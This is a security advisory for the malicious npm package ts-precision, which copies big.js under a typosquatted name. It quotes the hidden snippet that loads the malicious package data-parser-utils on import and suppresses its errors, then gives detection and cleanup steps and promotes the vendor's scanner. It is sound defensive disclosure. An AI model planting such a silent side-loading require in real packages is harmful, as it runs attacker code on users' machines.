ts-precisionnpm
ts-precision is a confirmed malicious npm package (MAL-2026-6469) that typosquats a legitimate package to trick installs (malicious version 3.7.2). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in ts-precision (npm)
What this malware does
Package ships a verbatim copy of big.js v7.0.1 (including the original author metadata 'Michael Mclaughlin [email protected]' and repo reference MikeMcl/big.js) under a different name, mimicking a legitimate arbitrary-precision math library to lure installers. Hidden between math methods in the module body is an unrelated block: try { const doc = require("data-parser-utils"); doc.from_str().then(e => { }).catch(e => { }) } catch (error) { }. This block fires on every require('ts-precision') / import of the package, pulling in and invoking the known-malicious npm package data-parser-utils, with errors silently swallowed in an empty try/catch and no-op promise handlers to hide failures from the consumer. The dependency invocation is unrelated to decimal arithmetic and exists solely to side-load attacker-controlled code into any consumer's process at module load.
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Detection & response playbook
TyposquatFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for ts-precision (version 3.7.2). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging ts-precision across your stack and pipelines.
If you installed it — respond
ts-precision is a typosquat — you almost certainly intended a legitimately-named package. Remove ts-precision, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.
Did it already run?
If ts-precision was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks ts-precision before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
